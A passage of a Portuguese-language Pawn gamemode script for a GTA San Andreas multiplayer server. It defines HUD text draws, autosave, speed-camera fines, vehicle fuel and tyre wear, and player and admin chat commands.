	PlayerText[playerid][BInf4] = TextDrawCreate(490.000000, 63.000000, " ");// Procura EX: Procura ***
2066
	TextDrawBackgroundColor(PlayerText[playerid][BInf4], 255);
2067
	TextDrawFont(PlayerText[playerid][BInf4], 2);
2068
	TextDrawLetterSize(PlayerText[playerid][BInf4], 0.190000, 1.000000);
2069
	TextDrawColor(PlayerText[playerid][BInf4], -1);
2070
	TextDrawSetOutline(PlayerText[playerid][BInf4], 0);
2071
	TextDrawSetProportional(PlayerText[playerid][BInf4], 1);
2072
	TextDrawSetShadow(PlayerText[playerid][BInf4], 1);
2073
	TextDrawSetSelectable(PlayerText[playerid][BInf4], 0);
2074
	
2075
	PlayerText[playerid][BInf5] = TextDrawCreate(490.000000, 24.000000, " ");// Vida EX: Vida 12 %
2076
	TextDrawBackgroundColor(PlayerText[playerid][BInf5], 255);
2077
	TextDrawFont(PlayerText[playerid][BInf5], 2);
2078
	TextDrawLetterSize(PlayerText[playerid][BInf5], 0.190000, 1.000000);
2079
	TextDrawColor(PlayerText[playerid][BInf5], -1);
2080
	TextDrawSetOutline(PlayerText[playerid][BInf5], 0);
2081
	TextDrawSetProportional(PlayerText[playerid][BInf5], 1);
2082
	TextDrawSetShadow(PlayerText[playerid][BInf5], 1);
2083
	TextDrawSetSelectable(PlayerText[playerid][BInf5], 0);
2084
	
2085
	PlayerText[playerid][BInf6] = TextDrawCreate(503.000000, 3.000000, " ");// Informaçoes EX: Informacoes de Don_Speed
2086
	TextDrawBackgroundColor(PlayerText[playerid][BInf6], 255);
2087
	TextDrawFont(PlayerText[playerid][BInf6], 2);
2088
	TextDrawLetterSize(PlayerText[playerid][BInf6], 0.190000, 1.000000);
2089
	TextDrawColor(PlayerText[playerid][BInf6], -1);
2090
	TextDrawSetOutline(PlayerText[playerid][BInf6], 0);
2091
	TextDrawSetProportional(PlayerText[playerid][BInf6], 1);
2092
	TextDrawSetShadow(PlayerText[playerid][BInf6], 1);
2093
	TextDrawSetSelectable(PlayerText[playerid][BInf6], 0);
2094
	
2095
    PlayerText[playerid][BInf7] = TextDrawCreate(490.000000, 76.000000, " ");// Vip EX: Vip Sim
2096
	TextDrawBackgroundColor(PlayerText[playerid][BInf7], 255);
2097
	TextDrawFont(PlayerText[playerid][BInf7], 2);
2098
	TextDrawLetterSize(PlayerText[playerid][BInf7], 0.190000, 1.000000);
2099
	TextDrawColor(PlayerText[playerid][BInf7], -1);
2100
	TextDrawSetOutline(PlayerText[playerid][BInf7], 0);
2101
	TextDrawSetProportional(PlayerText[playerid][BInf7], 1);
2102
	TextDrawSetShadow(PlayerText[playerid][BInf7], 1);
2103
	TextDrawSetSelectable(PlayerText[playerid][BInf7], 0);
2104
	
2105
    PlayerText[playerid][BInf8] = TextDrawCreate(490.000000, 88.000000, " ");// Admin EX: Admin Sim
2106
	TextDrawBackgroundColor(PlayerText[playerid][BInf8], 255);
2107
	TextDrawFont(PlayerText[playerid][BInf8], 2);
2108
	TextDrawLetterSize(PlayerText[playerid][BInf8], 0.190000, 1.000000);
2109
	TextDrawColor(PlayerText[playerid][BInf8], -1);
2110
	TextDrawSetOutline(PlayerText[playerid][BInf8], 0);
2111
	TextDrawSetProportional(PlayerText[playerid][BInf8], 1);
2112
	TextDrawSetShadow(PlayerText[playerid][BInf8], 1);
2113
	TextDrawSetSelectable(PlayerText[playerid][BInf8], 0);
2114
2115
	PlayerText[playerid][BInf9] = TextDrawCreate(483.000000, -8.000000, "_");// Apenas a Box branca
2116
	TextDrawBackgroundColor(PlayerText[playerid][BInf9], 255);
2117
	TextDrawFont(PlayerText[playerid][BInf9], 1);
2118
	TextDrawLetterSize(PlayerText[playerid][BInf9], 0.500000, 1.000000);
2119
	TextDrawColor(PlayerText[playerid][BInf9], -1);
2120
	TextDrawSetOutline(PlayerText[playerid][BInf9], 0);
2121
	TextDrawSetProportional(PlayerText[playerid][BInf9], 1);
2122
	TextDrawSetShadow(PlayerText[playerid][BInf9], 1);
2123
	TextDrawUseBox(PlayerText[playerid][BInf9], 1);
2124
	TextDrawBoxColor(PlayerText[playerid][BInf9], -1);
2125
	TextDrawTextSize(PlayerText[playerid][BInf9], 644.000000, -5.000000);
2126
	TextDrawSetSelectable(PlayerText[playerid][BInf9], 0);
2127
2128
	PlayerText[playerid][BInf10] = TextDrawCreate(483.000000, 110.000000, "_");// Apenas a Box branca
2129
	TextDrawBackgroundColor(PlayerText[playerid][BInf10], 255);
2130
	TextDrawFont(PlayerText[playerid][BInf10], 1);
2131
	TextDrawLetterSize(PlayerText[playerid][BInf10], 0.500000, 0.099999);
2132
	TextDrawColor(PlayerText[playerid][BInf10], -1);
2133
	TextDrawSetOutline(PlayerText[playerid][BInf10], 0);
2134
	TextDrawSetProportional(PlayerText[playerid][BInf10], 1);
2135
	TextDrawSetShadow(PlayerText[playerid][BInf10], 1);
2136
	TextDrawUseBox(PlayerText[playerid][BInf10], 1);
2137
	TextDrawBoxColor(PlayerText[playerid][BInf10], -1);
2138
	TextDrawTextSize(PlayerText[playerid][BInf10], 644.000000, -5.000000);
2139
	TextDrawSetSelectable(PlayerText[playerid][BInf10], 0);
2140
	
2141
	PlayerText[playerid][Car1] = TextDrawCreate(247.000000, 155.000000, "_");
2142
	TextDrawBackgroundColor(PlayerText[playerid][Car1], 65535);
2143
	TextDrawFont(PlayerText[playerid][Car1], 1);
2144
	TextDrawLetterSize(PlayerText[playerid][Car1], 0.500000, 7.599999);
2145
	TextDrawColor(PlayerText[playerid][Car1], -1);
2146
	TextDrawSetOutline(PlayerText[playerid][Car1], 1);
2147
	TextDrawSetProportional(PlayerText[playerid][Car1], 1);
2148
	TextDrawUseBox(PlayerText[playerid][Car1], 1);
2149
	TextDrawBoxColor(PlayerText[playerid][Car1], 75);
2150
	TextDrawTextSize(PlayerText[playerid][Car1], 404.000000, 0.000000);
2151
	TextDrawSetSelectable(PlayerText[playerid][Car1], 0);
2152
2153
	PlayerText[playerid][Car2] = TextDrawCreate(266.000000, 160.000000, " ");
2154
	TextDrawBackgroundColor(PlayerText[playerid][Car2], 65535);
2155
	TextDrawFont(PlayerText[playerid][Car2], 1);
2156
	TextDrawLetterSize(PlayerText[playerid][Car2], 0.509999, 2.900000);
2157
	TextDrawColor(PlayerText[playerid][Car2], -1);
2158
	TextDrawSetOutline(PlayerText[playerid][Car2], 1);
2159
	TextDrawSetProportional(PlayerText[playerid][Car2], 1);
2160
	TextDrawSetSelectable(PlayerText[playerid][Car2], 0);
2161
2162
	PlayerText[playerid][Car3] = TextDrawCreate(260.000000, 190.000000, " ");
2163
	TextDrawBackgroundColor(PlayerText[playerid][Car3], 65535);
2164
	TextDrawFont(PlayerText[playerid][Car3], 1);
2165
	TextDrawLetterSize(PlayerText[playerid][Car3], 0.300000, 2.100000);
2166
	TextDrawColor(PlayerText[playerid][Car3], -1);
2167
	TextDrawSetOutline(PlayerText[playerid][Car3], 1);
2168
	TextDrawSetProportional(PlayerText[playerid][Car3], 1);
2169
	TextDrawSetSelectable(PlayerText[playerid][Car3], 0);
2170
	return true;
2171
}
2172
forward AutoSalve();
2173
public AutoSalve()
2174
{
2175
    for(new c = 0; c < MAX_PLAYERS; c++)
2176
	{
2177
	    SalvarConta(c);
2178
	    SalvarVip(c);
2179
	    SendClientMessage(c, -1,"{00F00F}[Aviso]{FFFFFF} Conta salva!");
2180
	}
2181
	return true;
2182
}
2183
forward Ondesta(playerid);
2184
public Ondesta(playerid)
2185
{
2186
	 if(PlayerInfo[playerid][Spawn] == true)
2187
	 {
2188
	      if(PlayerInfo[playerid][NoVel] == false)
2189
	      {
2190
               new zone[MAX_ZONE_NAME];
2191
               GetPlayer2DZone(playerid, zone, MAX_ZONE_NAME);
2192
               TextDrawShowForPlayer(playerid, PlayerText[playerid][Local]);
2193
	           format(Don,sizeof(Don),"%s", zone);
2194
	           TextDrawSetString(PlayerText[playerid][Local], Don);
2195
	      
2196
	           // -=-=-=-=-=-=-=-=-=-=- Logo =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
2197
               format(Don,sizeof(Don),"_____%d/%d", JogadoresOn, GetMaxPlayers());
2198
	           TextDrawSetString(PlayerText[playerid][Logo0], Don);
2199
	           TextDrawShowForPlayer(playerid, PlayerText[playerid][Logo0]);
2200
	 
2201
	           // Logo1
2202
	           new Get[6];
2203
     	       gettime(Get[0], Get[1], Get[2]);
2204
               getdate(Get[3], Get[4], Get[5]);
2205
	           format(Don,sizeof(Don),"%d:%d:%d   -   %d/%d/%d", Get[0], Get[1], Get[2], Get[5], Get[4], Get[3]);
2206
	           TextDrawSetString(PlayerText[playerid][Logo1], Don);
2207
	      
2208
	           TextDrawShowForPlayer(playerid, PlayerText[playerid][Logo1]);
2209
	           TextDrawShowForPlayer(playerid, PlayerText[playerid][Logo2]);
2210
	           TextDrawShowForPlayer(playerid, PlayerText[playerid][Logo3]);
2211
	      }
2212
	      else
2213
	      {
2214
	           TextDrawHideForPlayer(playerid, PlayerText[playerid][Logo0]);
2215
 	           TextDrawHideForPlayer(playerid, PlayerText[playerid][Logo1]);
2216
	           TextDrawHideForPlayer(playerid, PlayerText[playerid][Logo2]);
2217
	           TextDrawHideForPlayer(playerid, PlayerText[playerid][Logo3]);
2218
	      }
2219
	 }
2220
	 else
2221
	 {
2222
	      TextDrawHideForPlayer(playerid, PlayerText[playerid][Logo0]);
2223
 	      TextDrawHideForPlayer(playerid, PlayerText[playerid][Logo1]);
2224
	      TextDrawHideForPlayer(playerid, PlayerText[playerid][Logo2]);
2225
	      TextDrawHideForPlayer(playerid, PlayerText[playerid][Logo3]);
2226
	 }
2227
	 return true;
2228
}
2229
forward atualizarinf(playerid);
2230
public atualizarinf(playerid)
2231
{
2232
    if(PlayerInfo[playerid][Spawn] == true){
2233
    //    INFORMAÇOES
2234
    GetPlayerName(playerid, DName, sizeof(DName));
2235
    format(Don,sizeof(Don),"Informacoes de %s", DName);
2236
    TextDrawSetString(PlayerText[playerid][BInf6], Don);
2237
    TextDrawShowForPlayer(playerid, PlayerText[playerid][BInf6]);
2238
2239
2240
    // DINHEIRO
2241
    format(Don,sizeof(Don),"Dinheiro R$ %d", PlayerInfo[playerid][pGrana]);
2242
    TextDrawSetString(PlayerText[playerid][BInf2], Don);
2243
    TextDrawShowForPlayer(playerid, PlayerText[playerid][BInf2]);
2244
2245
    // SCORE
2246
    format(Don,sizeof(Don),"Score %d", PlayerInfo[playerid][pScore]);
2247
    TextDrawSetString(PlayerText[playerid][BInf3], Don);
2248
    TextDrawShowForPlayer(playerid, PlayerText[playerid][BInf3]);
2249
2250
    // PROCURADO
2251
    format(Don,sizeof(Don),"Multas R$ %d",  PlayerInfo[playerid][pMulta]);
2252
    TextDrawSetString(PlayerText[playerid][BInf4], Don);
2253
    TextDrawShowForPlayer(playerid, PlayerText[playerid][BInf4]);
2254
2255
    // VIDA
2256
    new Float:Vida;
2257
    GetPlayerHealth(playerid, Vida);
2258
    format(Don,sizeof(Don),"Vida %f", Vida);
2259
    TextDrawSetString(PlayerText[playerid][BInf5], Don);
2260
    TextDrawShowForPlayer(playerid, PlayerText[playerid][BInf5]);
2261
2262
    // VIP
2263
    switch(VipInfo[playerid][vLevel])
2264
    {
2265
		case 0:format(Don,sizeof(Don),"Vip Nao");
2266
		case 1,2,3,4,5:format(Don,sizeof(Don),"Vip Sim ___%s",NameVip[VipInfo[playerid][vLevel]]);
2267
	}
2268
    TextDrawSetString(PlayerText[playerid][BInf7], Don);
2269
    TextDrawShowForPlayer(playerid, PlayerText[playerid][BInf7]);
2270
2271
    // ADMIN
2272
    switch(PlayerInfo[playerid][pAdmin])
2273
    {
2274
		case 0:format(Don,sizeof(Don),"Admin Nao");
2275
		case 1,2,3,4,5:format(Don,sizeof(Don),"Admin Sim ___%s",AdmNome[PlayerInfo[playerid][pAdmin]]);
2276
	}
2277
    TextDrawSetString(PlayerText[playerid][BInf8], Don);
2278
    TextDrawShowForPlayer(playerid, PlayerText[playerid][BInf8]);
2279
    
2280
    if(PlayerInfo[playerid][pAdmin] > 5) return Kick(playerid);
2281
    }
2282
	return true;
2283
}
2284
forward DSRadar();
2285
public DSRadar()
2286
{
2287
    new Var[100];
2288
    for(new i = 0; i < MAX_PLAYERS; i++) {
2289
        if(!IsPlayerInAnyVehicle(i))return true;
2290
2291
        for(new z = 0; z < MAX_RADAR; z++) {
2292
            if(IsPlayerInRangeOfPoint(i, 15.0, RadarInfo[z][PosX], RadarInfo[z][PosY], RadarInfo[z][PosZ])) {
2293
                MinhaVelocidade[i] = GetPlayerSpeed(i);
2294
                if(RadarInfo[z][Vel] > MinhaVelocidade[i]){
2295
                    PlayerInfo[i][pMulta] += VALOR_MIN * MinhaVelocidade[i];
2296
                    format(Var ,sizeof Var,"Você foi multado em R$ %d , por estar em %d . Sua multa total agora é R$ %d .", 3 * MinhaVelocidade[i],MinhaVelocidade[i], PlayerInfo[i][pMulta]);
2297
                    SendClientMessage(i, -1, Var);
2298
                }
2299
            }
2300
        }
2301
    }
2302
    return true;
2303
}
2304
forward AtualizarVelocimetro(playerid);
2305
public AtualizarVelocimetro(playerid)
2306
{
2307
    if(PlayerInfo[playerid][NoVel] == true)
2308
    {
2309
         new vehicleid = GetPlayerVehicleID(playerid);
2310
         switch(Gasolina[vehicleid])
2311
         {
2312
		       case 20 .. 50:    Gasolina[vehicleid] -= 0.1, Pneu[vehicleid] -= 0.1;
2313
	           case 51 .. 99:    Gasolina[vehicleid] -= 0.2, Pneu[vehicleid] -= 0.2;
2314
		       case 100 .. 150:  Gasolina[vehicleid] -= 0.3, Pneu[vehicleid] -= 0.3;
2315
		       case 151 .. 450:  Gasolina[vehicleid] -= 0.6, Pneu[vehicleid] -= 0.6;
2316
	     }
2317
	     if(Pneu[vehicleid] < 1)
2318
         {
2319
	           new Paineis, Portas, Luzes, NNHS;
2320
               GetVehicleDamageStatus(vehicleid, Paineis, Portas, Luzes, NNHS);
2321
               UpdateVehicleDamageStatus(vehicleid, Paineis, Portas, Luzes, 15);
2322
         }
2323
    }
2324
    else
2325
    {
2326
    	TextDrawHideForPlayer(playerid, PlayerText[playerid][Logo0]);
2327
	    TextDrawHideForPlayer(playerid, PlayerText[playerid][Logo1]);
2328
	    TextDrawHideForPlayer(playerid, PlayerText[playerid][Logo2]);
2329
	    TextDrawHideForPlayer(playerid, PlayerText[playerid][Logo3]);
2330
    }
2331
    return 1;
2332
}
2333
/*
2334
forward AtualizarVelocimetro(playerid);
2335
public AtualizarVelocimetro(playerid)
2336
{
2337
    if(PlayerInfo[playerid][NoVel] == true)
2338
    {
2339
2340
    new vehicleid = GetPlayerVehicleID(playerid);
2341
    switch(Gasolina[vehicleid])
2342
    {
2343
		case 20 .. 50:    Gasolina[vehicleid] -= 0.1, Pneu[vehicleid] -= 0.1;
2344
		case 51 .. 99:    Gasolina[vehicleid] -= 0.2, Pneu[vehicleid] -= 0.2;
2345
		case 100 .. 150:  Gasolina[vehicleid] -= 0.3, Pneu[vehicleid] -= 0.3;
2346
		case 151 .. 450:  Gasolina[vehicleid] -= 0.6, Pneu[vehicleid] -= 0.6;
2347
	}
2348
2349
	new velocidade[30];
2350
	format(velocidade,sizeof(velocidade),"%d KM/H", GetPlayerSpeed(playerid));
2351
	TextDrawSetString(PlayerText[playerid][Velo1], velocidade);
2352
2353
	new car[60];
2354
	format(car, sizeof(car),"%s", vehName[GetVehicleModel(GetPlayerVehicleID(playerid)) - 400]);
2355
	TextDrawSetString(PlayerText[playerid][Velo2], car);
2356
2357
	new gaskrl[15];
2358
    switch(Gasolina[vehicleid])
2359
    {
2360
		case 0 .. 9:   gaskrl = "/~r~//////////";
2361
		case 10 .. 19: gaskrl = "//~r~/////////";
2362
		case 20 .. 29: gaskrl = "///~r~////////";
2363
		case 30 .. 39: gaskrl = "////~r~//////";
2364
		case 40 .. 49: gaskrl = "/////~r~//////";
2365
		case 50 .. 59: gaskrl = "//////~r~/////";
2366
		case 60 .. 69: gaskrl = "///////~r~////";
2367
		case 70 .. 79: gaskrl = "////////~r~///";
2368
		case 80 .. 89: gaskrl = "/////////~r~//";
2369
		case 90 .. 99: gaskrl = "//////////~r~/";
2370
	}
2371
	format(Don, sizeof(Don),"Gasolina____%s", gaskrl);
2372
	TextDrawSetString(PlayerText[playerid][Velo3], Don);
2373
2374
	new Float:Lataria, latkrl[15];
2375
	GetVehicleHealth(vehicleid, Lataria);
2376
	switch(Lataria)
2377
    {
2378
		case 0 .. 99:     latkrl = "/~r~//////////";
2379
		case 100 .. 199:  latkrl = "//~r~/////////";
2380
		case 200 .. 299:  latkrl = "///~r~////////";
2381
		case 300 .. 399:  latkrl = "////~r~//////";
2382
		case 400 .. 499:  latkrl = "/////~r~//////";
2383
		case 500 .. 599:  latkrl = "//////~r~/////";
2384
		case 600 .. 699:  latkrl = "///////~r~////";
2385
		case 700 .. 799:  latkrl = "////////~r~///";
2386
		case 800 .. 899:  latkrl = "/////////~r~//";
2387
		case 900 .. 1000: latkrl = "//////////~r~/";
2388
	}
2389
	format(Don, sizeof(Don),"Lataria_____%s", latkrl);
2390
	TextDrawSetString(PlayerText[playerid][Velo4], Don);
2391
2392
	new pneustr[15];
2393
    switch(Pneu[vehicleid])
2394
    {
2395
		case 0 .. 9:   pneustr = "/~r~//////////";
2396
		case 10 .. 19: pneustr = "//~r~/////////";
2397
		case 20 .. 29: pneustr = "///~r~////////";
2398
		case 30 .. 39: pneustr = "////~r~//////";
2399
		case 40 .. 49: pneustr = "/////~r~//////";
2400
		case 50 .. 59: pneustr = "//////~r~/////";
2401
		case 60 .. 69: pneustr = "///////~r~////";
2402
		case 70 .. 79: pneustr = "////////~r~///";
2403
		case 80 .. 89: pneustr = "/////////~r~//";
2404
		case 90 .. 99: pneustr = "//////////~r~/";
2405
	}
2406
	format(Don, sizeof(Don),"Pneu______%s", pneustr);
2407
	TextDrawSetString(PlayerText[playerid][Velo5], Don);
2408
2409
    format(Don, sizeof(Don),"Motor ~g~ON");
2410
	TextDrawSetString(PlayerText[playerid][Velo6], Don);
2411
2412
	if(Pneu[vehicleid] < 1)
2413
    {
2414
	       new Paineis, Portas, Luzes, NNHS;
2415
           GetVehicleDamageStatus(vehicleid, Paineis, Portas, Luzes, NNHS);
2416
           UpdateVehicleDamageStatus(vehicleid, Paineis, Portas, Luzes, 15);
2417
    }
2418
    }
2419
    else
2420
    {
2421
    	TextDrawHideForPlayer(playerid, PlayerText[playerid][Logo0]);
2422
	    TextDrawHideForPlayer(playerid, PlayerText[playerid][Logo1]);
2423
	    TextDrawHideForPlayer(playerid, PlayerText[playerid][Logo2]);
2424
	    TextDrawHideForPlayer(playerid, PlayerText[playerid][Logo3]);
2425
    }
2426
    return 1;
2427
}*/
2428
stock GetPlayerSpeed(playerid)
2429
{
2430
    new Float:ST[4];
2431
    if(IsPlayerInAnyVehicle(playerid))
2432
    GetVehicleVelocity(GetPlayerVehicleID(playerid),ST[0],ST[1],ST[2]);
2433
    else GetPlayerVelocity(playerid,ST[0],ST[1],ST[2]);
2434
    ST[3] = floatsqroot(floatpower(floatabs(ST[0]), 2.0) + floatpower(floatabs(ST[1]), 2.0) + floatpower(floatabs(ST[2]), 2.0)) * 100.3;
2435
    return floatround(ST[3]);
2436
}
2437
stock IsVehicleDrivingBackwards(vehicleid)
2438
{
2439
    new
2440
        Float:Float[3]
2441
    ;
2442
    if(GetVehicleVelocity(vehicleid, Float[1], Float[2], Float[0]))
2443
    {
2444
        GetVehicleZAngle(vehicleid, Float[0]);
2445
        if(Float[0] < 90)
2446
        {
2447
            if(Float[1] > 0 && Float[2] < 0) return true;
2448
        }
2449
        else if(Float[0] < 180)
2450
        {
2451
            if(Float[1] > 0 && Float[2] > 0) return true;
2452
        }
2453
        else if(Float[0] < 270)
2454
        {
2455
            if(Float[1] < 0 && Float[2] > 0) return true;
2456
        }
2457
        else if(Float[1] < 0 && Float[2] < 0) return true;
2458
    }
2459
    return false;
2460
}
2461
stock IsAAlerta(vehicleid)
2462
{
2463
    new result;
2464
    new model = GetVehicleModel(vehicleid);
2465
    switch(model)
2466
    {
2467
        case 403, 406, 408, 414 ,428 ,431 ,433 ,437 ,443 ,455 ,456 ,499 ,508 ,514 ,515 ,524 ,525 ,531 ,544 ,552 ,578 ,601: result = model;
2468
        default: result = 0;
2469
    }
2470
    return result;
2471
}
2472
AlertaRe(playerid)
2473
{
2474
    new bool:engine, bool:lights, bool:alarm, bool:doors, bool:bonnet, bool:boot, bool:objective;
2475
    new vehicleid = GetPlayerVehicleID(playerid);
2476
    if(GetPlayerVehicleSeat(playerid) == 0)
2477
    {
2478
        if(IsAAlerta(vehicleid))
2479
        {
2480
            GetVehicleParamsEx(vehicleid, engine, lights, alarm, doors, bonnet, boot, objective);
2481
            if(IsVehicleDrivingBackwards(vehicleid))
2482
            {
2483
                SetVehicleParamsEx(vehicleid, engine, lights, true, doors, bonnet, boot, objective);
2484
            }
2485
            else
2486
            {
2487
                SetVehicleParamsEx(vehicleid, engine, lights, false, doors, bonnet, boot, objective);
2488
            }
2489
        }
2490
    }
2491
    return 1;
2492
}
2493
// -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
2494
// -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
2495
//              COMANDOS PARA JOGADORES                                       //
2496
// -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
2497
// -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
2498
command(minhaconta, playerid, params[])
2499
{
2500
    ShowPlayerDialog(playerid, DIALOG_MENU, DIALOG_STYLE_LIST, "Minha conta", "Salvar conta\nSalvar vip\nMudar senha", "Continuar", "Cancelar");
2501
    return true;
2502
}
2503
command(admins, playerid, params[])
2504
{
2505
	new aaa[200];
2506
	for(new i=0; i<MAX_PLAYERS; i++)
2507
	{
2508
		 if(PlayerInfo[i][pAdmin] > 0)
2509
		 {
2510
			  GetPlayerName(i, DName, sizeof(DName));
2511
	          format(aaa,sizeof(aaa),"{FFFFFF}%s %s(ID:%d)", AdmNome[PlayerInfo[i][pAdmin]], DName, i);
2512
		 }
2513
	}
2514
    ShowPlayerDialog(playerid, DIALOG_ADM, DIALOG_STYLE_MSGBOX, "Administraçao presente", aaa, "Ok", "");
2515
    return true;
2516
}
2517
command(vips, playerid, params[])
2518
{
2519
	new bbb[200];
2520
	for(new i=0; i<MAX_PLAYERS; i++)
2521
	{
2522
         if(Vips == 0){ SendClientMessage(playerid, -1,"[ERRO] Não tem vips online."); return 1; }
2523
		 if(VipInfo[i][vLevel] > 0)
2524
		 {
2525
			  GetPlayerName(i, DName, sizeof(DName));
2526
	          format(bbb,sizeof(bbb),"{FFFFFF}%s %s(ID:%d)", NameVip[VipInfo[i][vLevel]], DName, i);
2527
		 }
2528
	}
2529
    ShowPlayerDialog(playerid, DIALOG_VIPS, DIALOG_STYLE_MSGBOX, "Vip presente", bbb, "Ok", "");
2530
    return true;
2531
}
2532
command(trabalhar, playerid, params[])
2533
{
2534
    new aaa[150];
2535
    if(PlayerInfo[playerid][pClass] == TEAM_TRUCK)
2536
    {
2537
        if(GetVehicleTrailer(GetPlayerVehicleID(playerid)))
2538
        {
2539
             for(new wp = 0; wp < sizeof Locais; wp++ )
2540
             {
2541
                   if(IsPlayerInRangeOfPoint(playerid, 10000, Locais[wp][X], Locais[wp][Y], Locais[wp][Z]))
2542
                   {
2543
                        format(Don,sizeof(Don),"De: %s        -         Para: %s\n", Locais[wp][Name], Locais[wp][ParaName]);
2544
                        strcat(aaa, Don);
2545
                   }
2546
             }
2547
             ShowPlayerDialog(playerid, DIALOG_WORK, DIALOG_STYLE_LIST, "Rotas", aaa, "Selecionar", #);
2548
             PlayerInfo[playerid][Trab] ++;
2549
             
2550
        }else SendClientMessage(playerid, -1,"[ERRO] Você não tem carroceria.");
2551
    }
2552
    return true;
2553
}
2554
// -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
2555
// -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
2556
//              COMANDOS PARA A ADMINISTRAÇAO                                 //
2557
// -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
2558
// -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
2559
command(av, playerid, params[])
2560
{
2561
	GetPlayerName(playerid, DName, sizeof(DName));
2562
	if(PlayerInfo[playerid][pAdmin] < 1)return SendClientMessage(playerid, -1,"[ERRO] Você não e admin!");
2563
	if(sscanf(params,"s", params))return SendClientMessage(playerid, -1,"[USO] /av [texto]");
2564
	format(Don,sizeof(Don),"[%s] %s: %s.", AdmNome[PlayerInfo[playerid][pAdmin]], DName, params);
2565
	SendClientMessageToAll(CorClasses[PlayerInfo[playerid][pClass]], Don);
2566
	return true;
2567
}
2568
command(ir, playerid, params[])
2569
{
2570
	new ID;
2571
	if(PlayerInfo[playerid][pAdmin] < 1)return SendClientMessage(playerid, -1,"[ERRO] Você não e admin!");
2572
	if(sscanf(params,"u", ID))return SendClientMessage(playerid, -1,"[USO] /ir [ID]");
2573
	if(!IsPlayerConnected(ID))return SendClientMessage(playerid, -1,"[ERRO] Id invalido!");
2574
    GetPlayerPos(ID, Pos[0], Pos[1], Pos[2]);
2575
    SetPlayerPos(playerid, Pos[0], Pos[1], Pos[2]);
2576
	return true;
2577
}
2578
command(trazer, playerid, params[])
2579
{
2580
	new ID;
2581
	if(PlayerInfo[playerid][pAdmin] < 1)return SendClientMessage(playerid, -1,"[ERRO] Você não e admin!");
2582
	if(sscanf(params,"u", ID))return SendClientMessage(playerid, -1,"[USO] /trazer [ID]");
2583
	if(!IsPlayerConnected(ID))return SendClientMessage(playerid, -1,"[ERRO] Id invalido!");
2584
    GetPlayerPos(playerid, Pos[0], Pos[1], Pos[2]);
2585
    SetPlayerPos(ID, Pos[0], Pos[1], Pos[2]);
2586
	return true;
2587
}
2588
command(tapa, playerid, params[])
2589
{
2590
	new ID;
2591
	if(PlayerInfo[playerid][pAdmin] < 1)return SendClientMessage(playerid, -1,"[ERRO] Você não e admin!");
2592
	if(sscanf(params,"u", ID))return SendClientMessage(playerid, -1,"[USO] /tapa [ID]");
2593
	if(!IsPlayerConnected(ID))return SendClientMessage(playerid, -1,"[ERRO] Id invalido!");
2594
    GetPlayerName(ID, DName, sizeof(DName));
2595
    GetPlayerPos(ID, Pos[0], Pos[1], Pos[2]);
2596
    SetPlayerPos(ID, Pos[0], Pos[1], Pos[2]+20);
2597
    format(Don,sizeof(Don),"[Aviso] %s levou um tapa do %s.", DName, AdmNome[PlayerInfo[playerid][pAdmin]]);
2598
	SendClientMessageToAll(CorClasses[PlayerInfo[playerid][pClass]], Don);
2599
	return true;
2600
}
2601
command(forcaregras, playerid, params[])
2602
{
2603
	new ID;
2604
	if(PlayerInfo[playerid][pAdmin] < 1)return SendClientMessage(playerid, -1,"[ERRO] Você não e admin!");
2605
	if(sscanf(params,"u", ID))return SendClientMessage(playerid, -1,"[USO] /forcaregras [ID]");
2606
	if(!IsPlayerConnected(ID))return SendClientMessage(playerid, -1,"[ERRO] Id invalido!");
2607
    GetPlayerName(ID, DName, sizeof(DName));
2608
    format(Don,sizeof(Don),"[Aviso] %s foi forçado pelo %s a olhar as regras.", DName, AdmNome[PlayerInfo[playerid][pAdmin]]);
2609
	SendClientMessageToAll(CorClasses[PlayerInfo[playerid][pClass]], Don);
2610
	new Msg[600];
2611
	format(Msg, 600,"* Jamais usar hack [BAN - 30 Dias]\n");
2612
    format(Msg, 600,"* Não faça DB [BAN - 5 Dias]\n");
2613
    format(Msg, 600,"* Não ofender ninguem [BAN - 2 Dias]\n");
2614
    format(Msg, 600,"* Não falar mal do servidor [BAN - 1 Dia]");
2615
    format(Msg, 600,"* Não divulgar servidore [BAN PERMANENTE]");
2616
    ShowPlayerDialog(ID, DIALOG_RULES, DIALOG_STYLE_MSGBOX, "Regras", Msg, "OK", "");
2617
	return true;
2618
}
2619
command(fogo, playerid, params[])
2620
{
2621
	new ID;
2622
	if(PlayerInfo[playerid][pAdmin] < 1)return SendClientMessage(playerid, -1,"[ERRO] Você não e admin!");
2623
	if(sscanf(params,"u", ID))return SendClientMessage(playerid, -1,"[USO] /fogo [ID]");
2624
	if(!IsPlayerConnected(ID))return SendClientMessage(playerid, -1,"[ERRO] Id invalido!");
2625
    GetPlayerName(ID, DName, sizeof(DName));
2626
    GetPlayerPos(ID, Pos[0], Pos[1], Pos[2]);
2627
    CreateExplosion(Pos[0], Pos[1], Pos[2], 12, 10.0);
2628
    format(Don,sizeof(Don),"[Aviso] %s foi explodido pelo %s.", DName, AdmNome[PlayerInfo[playerid][pAdmin]]);
2629
	SendClientMessageToAll(CorClasses[PlayerInfo[playerid][pClass]], Don);
2630
	return true;
2631
}
2632
command(kick, playerid, params[])
2633
{
2634
	new ID;
2635
	if(PlayerInfo[playerid][pAdmin] < 1)return SendClientMessage(playerid, -1,"[ERRO] Você não e admin!");
2636
	if(sscanf(params,"us", ID, params))return SendClientMessage(playerid, -1,"[USO] /kick [ID] [Motivo]");
2637
